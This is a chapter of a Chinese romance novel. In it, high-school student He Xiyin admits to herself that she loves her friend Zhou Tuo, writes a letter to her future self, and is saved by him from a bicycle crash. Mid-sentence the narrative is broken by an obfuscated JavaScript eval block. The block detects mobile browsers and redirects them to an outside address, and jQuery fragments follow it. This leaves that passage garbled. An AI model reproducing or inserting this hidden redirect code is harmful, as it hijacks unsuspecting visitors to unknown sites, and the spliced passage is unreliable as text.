‘我们还好吗？’


    这句有两种断法。


    ‘我们/还好吗’和‘我们/还/好吗’


    这句话无论是哪种解释，何希音此刻的回答都是肯定的‘嗯’，也只能是这个。


    “是嘛。”周拓深邃的黑眸像暗流涌动的深海，他对何希音的回答是有疑问的，几欲开口，最终还是咽下了，嘴角扯笑，故作轻松地，“没事就好。”


    月光下，是两人斜长的身影，叠在地面。何希音的影子仰着头望向月亮，周拓的影子也仰着头，却侧向她的方向。


    “周拓。”


    “嗯？”


    “你说月亮上有生命吗？”


    “目前尚未探测到生命，也无法确定没有生命。”他说。


    “你觉得呢？”


    “也许有吧。”


    “如果有，她也在看我们吗？”


    “会吧。”


    好圆的月亮，像明镜，像玉盘，像珍珠。皎洁白亮，隔着云雾，隔着光年。明明是这么无瑕的圆月，何希音却特别想哭。在两人的关系里，她找不到自己的位置了，这种纠结和困惑周拓不能帮她，只能她自己去寻找答案。


    她忽然站起身。


    “我要回家了。”


    “嗯。”


    周拓坐在长椅，目送她上楼，一直到楼道灯熄灭很久，到浓云盖住月亮，他才插着兜，慢慢走回家。


    —


    乔喻升入高三，校乐团和魔方社纳新的任务交到何希音肩上。其实何希音一点不想管这些事，进社团纯粹是为了解魔方和学吉他，为了完成课外学分。她学的很认真，硬生生学成骨干成员。


    社团开会，乔喻已制作好纳新传单，将任务分发下去。何希音只需要在社团活动日守在摊位即可。


    其他人离开，何希音留下来打扫活动室。


    乔喻拿抹布擦洗乐器柜。


    他认真仔细，不放过任何边角，拿出教学乐谱时，眼神全是不舍，动作轻缓了许多。


    “这些乐谱是学长学姐留下的。”


    “我用的那本多亏有他们的标注。”


    “你为什么选吉他？”


    话题转得好快，何希音愣了几秒才说：“因为有学姐在教。”


    “我以为你会学钢琴。周拓不是会这个吗？”


    “是啊。他会。”何希音撇嘴，“因为他会。我才不要和他学一样的。”


    “为什么？”


    “就……很奇怪啊。”何希音回忆，“他会。我弹的是好是坏，他就一清二楚了啊。不想让他觉得我弹不好。”


    “原来是这样。”乔喻似懂非懂地点头，“你会来魔方社我也挺意外的。喜欢这个的男生居多。”


    “周拓会。我也想学。但我不能让他教。”


    “这又是为什么？”


    “哎呀。就是不想。”


    具体为什么，何希音也说不清楚。


    小时候，她常捧着数学题去问周拓，长大后，问他的次数急速减少。一方面是她成绩提高，不会的没那么多了，一方面是她很害怕和周拓拉开距离，很害怕被他发现她的愚钝。


    乔喻又说了一些社团的事，何希音心乱如麻，左耳进右耳出，一点没往脑子里记。


    “别提他了吧。”她突然开口。


    乔喻迷茫：“谁？”


    何希音后知后觉地摇头。


    “没谁。”


    —


    何希音买了辆自行车。


    此后，她不需要赶公交，骑车去学校，锁在学校的车棚，周末再骑回家。


    周拓有些惊讶：“我以为你再也不会骑自行车。”


    “我也以为。”


    几年前，牧辽送了她一辆自行车，她学了一周，没学会，摔破两个膝盖，手臂也全是擦伤。何希音哭着说她讨厌自行车，这辈子都不会骑自行车。牧辽把车拿走，送给同事的女儿。


    这次学车，何希音怕学不会被取笑，是偷着学的。车子放在牧辽那，周末下午去学，牧辽在后轮按上两个安全小轮，何希音骑上去不用害怕摔倒，她骑习惯了，牧辽再拆掉两个小轮。


    两个月的时间，何希音熟练掌握，才把车骑回家。


    “牧叔叔教你的？”


    “是的！”


    “这次……有哭吗？”


    “没有！”何希音摸鼻子，挺起骄傲的胸膛，“我超强的。我长大啦。不会再哭鼻子啦！”


    “周拓。以后我不坐公车啦！要骑车回家啦！”


    “注意安全。”


    “以后……周末你不用等我了。”


    “好。”


    继续‘逃避周拓计划’是何希音坚持买自行车，坚持学自行车的目的。


    因为她逐渐意识到，无论是被涂黑的测试题，还是让她万分纠结的‘朋友而已’都指向一个可怕的事实——


    她应该是喜欢周拓。


    被他牵住手腕的羞怯，同在屋檐下躲雨的窃喜，令人安心的柑橘皂香，特意早起的周末，趴在阳台蹲守他出门的清晨，靠在他肩膀昏昏欲睡的午后，以及望向星空想要流泪的夜晚。


    所有喜欢他的瞬间拼凑着她的十七岁。


    她和他不仅仅只是朋友而已。


    ‘我们还好吗？’


    ‘不。周拓。’


    ‘我不太好。’


    —


    今年的夏天像何希音此刻的坏心情，突如其来、莫名其妙。明明昨天还穿着长袖，今天就热得将人一棍子打进夏天，何希音擦了擦额角的汗，感叹这个夏天为什么这么随心所欲，想来就来。


    夏天一来，小卖部的绿豆冰就成了稀罕物。


    下课铃未敲，何希音就侧身弓腰，朝向门口，像只扑食的猎豹。


    可惜，班主任先一步打断她的计划。


    “希音。下课来办公室数卷子。”


    “好……”何希音有气无力。闷热的初夏，空调还未开启使用的初夏，没有绿豆冰续命，她和丧尸有什么区别。


    她转头瞧见徐子欣，用口型说：“帮我买。”


    徐子欣用手势回应：“ok。”


    下节是体育课，下课铃一敲，教室瞬间空了。何希音站在走廊，看徐子欣冲进排长队的小卖部，暗自捏了把汗。


    “到底为什么这么多人啊！”徐子欣站在队末哀嚎。


    这时候，门口走进一群穿球服的男生，可能是刚训练完，携着青草泥巴和热汗的味道，热烘烘地冲进屋内。他们没排队，径直走向冰柜，提走一袋绿豆冰。


    徐子欣瞪大眼睛。


    队伍前面的人同样不满。


    “他们怎么不用排队啊！”


    “太过分了吧！”


    “足球队就可以搞特殊吗？”


    店员解释：“这是体育老师提前订的。”


    冰柜里的绿豆冰少了一半，排在徐子欣后面的人也少了一半，不少人眼看着买不到，早早离开。


    好巧不巧，排到徐子欣就没有了。


    她跺脚：“为什么不多进一些呢？”


    “我们也没想到会突然升温。”店员安抚，“还有绿豆雪糕。你要吗？”


    “唉。算了。谢谢。”徐子欣悻悻离开。


    绿豆冰能成为夏天的销冠不是没有理由的。


    绿豆雪糕冻得邦硬，冰牙冻脑，冰汽水甜腻涨胃，只有介于冰水混合物之间的绿豆冰绵密沙软，清凉解暑，冰的刚刚好。


    “徐子欣。”


    “嗯？”她转身，“周拓？”


    周拓手里提着一杯她心心念念的绿豆冰。他拿过孙舟的那份，两份一起递出：“给她吧。”


    孙舟反应慢半拍：“哎。老大。我……”都给出去了，才后知后觉是要给谁，悬空的手收回，笑着说，“给你吧。女士优先。”


    徐子欣只收下一份：“我们体育课是一起上的。一会你自己给她呗。”她拼命眨眼，希望周拓不要辜负她的好意。


    周拓读懂了，但没搭茬，执意把东西交给她。


    徐子欣拍着胸脯：“放心。你的心意我会帮你好好传达的。”


    周拓却摇头：“不必。”


    “交给她就够了。”


    他拉着孙舟离开。


    徐子欣提着两袋绿豆冰，等在楼梯口，看何希音下楼，抬手晃了晃。何希音眼睛亮了，加快脚步地冲下楼：“女侠。你果然可靠。”


    徐子欣食指竖起，左右摇摆：“非也非也。”


    “知道这是谁给的吗？”


    “谁？”何希音扎破包装，猛吸一口。


    “周拓。”


    “噗。”何希音喷出来。


    徐子欣跳开：“这不是什么很意外的事吧！你至于么。”


    何希音咳嗽，连连道歉，拿纸擦嘴，也拿纸给她。


    “为什么是他。”


    “我没买到。他看到我，就把他和孙舟买的那份给我了。”徐子欣眼睛一眯，闪过些许狡黠，自顾自地分析，“不对。是看在你的份上给的。”


    “唉。我又不是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288025|166246||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他青梅竹马。谁管我啊。”徐子欣仰天长叹。


    何希音推着她往操场走：“我也不是。”


    “快点快点。去上课了。”


    —


    高考在即，每个人的神经都紧绷绷的，何希音也不例外。班会课上，班主任发下信纸。


    班主任在黑板上写——


    ‘你考上了——吗？


    你还在坚持——吗？


    你未来会成为——吗？’


    班主任说：“这是你们的未来三问。你们围绕这三个问题写一封信吧。可以是给十年后的你，也可以是给一年后的你。当然，我只能帮你们保存到高考结束那天。”


    何希音拿到信纸，并不着急动笔，对着黑板的三个问题发愣。前后两个问题的答案在心里，但中间那个她想不到答案。有什么事是她会一直坚持下去的呢？


    十年太长，一年太短，那就定五年吧。五年后，她刚好大学毕业，五年后，她会在哪里，会在做什么呢？


    她想问问五年后的何希音。


    ‘二十三岁的何希音你好。


    今年的夏天来得特别早，热得人跳脚，热得人恍惚，热得人没胃口。不知道你收到信的那个夏天会像今年这样难过吗？


    最近，我过的很不好，考前模拟不理想，退步了很多。


    其实这段时间，我比以前更努力，每天早起背单词，晚自习结束会多留半小时写提高题。成绩仍旧不尽如人意。错题课上，我发现写错一道基础题。我也诧异我怎么会犯这种错，考场上的我好像不是我。


    高三开始放温书假了，楼上教室已经搬空。乔喻说他要毕业的时候，我还有种不真实感，替他不舍。但这刻，我特别羡慕他，无论结果如何，他已经解脱了。


    老师说错一道选择题，去的学校就会千差万别。


    妈妈说只是模拟考，让我放松。


    可我太害怕了。


    我特别焦虑，时常感到迷茫。


    晚自习坐在教室，眼泪会不自觉地流下来。


    我好像钻进了一条死胡同，想努力但没力气，拼命挣扎又害怕得到坏结果。


    但我绝对不会放弃，我会尽快调整好心态，变成那个超牛的何希音！希望五年后的你可以品尝到我此刻用努力的汗水种下的硕果。


    我相信你会的。


    五年了。


    你现在是不是在夏宜政法的教室写毕业论文？大学生活好玩吗？和新室友相处的愉快吗？你是否还在参加各种辩论赛？是否在为成为一名合格的律师积极努力着？


    我有好多问题想问你。


    有好多事情想和你分享。


    请你保持积极，继续努力，在未来等我。’


    落款前，何希音犹豫许久，又添了一句——


    ‘五年后，你和周拓是否还是好友？你还在暗恋他吗？’


    落款是——


    ‘十七岁的何希音期待你的回答’。


    信的末尾写着她藏在心底的秘密，封进信封后，她没有上交给班主任，夹在书里收进抽屉。这封信，她要好好珍藏，等到五年后，亲自拆开。


    —


    高考前夕，作为考点的教室需要清空抽屉。全校都放假了，不用晚自习。何希音把抽屉里的书带回宿舍。


    她要走的时候，徐子欣拿出一本笔记说：“这是你抽屉里的。”


    “噢。对。”何希音随手放进自行车前篮。


    两个年级同时放假，路上肯定挤满人，何希音又在宿舍磨蹭一会，在食堂吃完晚饭，才推出自行车，踩着夕阳的余晖往家的方向骑。


    今天的风甚是喧嚣，擦着她耳膜刮过，吹翻衣领。


    前面有段下坡的路，何希音的脚不再加速，车子却一点没慢下来的迹象，手刹也失灵，她想低头看怎么回事，但分不出精力，全神贯注地盯着前面的下坡，两只脚试着够地。


    下坡陡，速度很快。


    她大叫：“快让开啊！！”


    风刮过眼角，带出眼泪，她焦灼又害怕，能用的办法都用了，不知道要如何停下车子。


    就在这时候，街边忽然伸出一双手，握住她的手把，紧急制停车子。剧烈的震动，她整个人都颠出去，摔在路边，自行车同样倒在一边，颠倒的车轮还在吱扭吱扭地转。


    何希音的左手磕在路沿，手臂瞬间红肿，鼓起一个淤青的鼓包，非常疼，两只膝盖也蹭破皮了。她的右手撑着地板，勉强坐起身。


    她抬头。


    “周拓！！”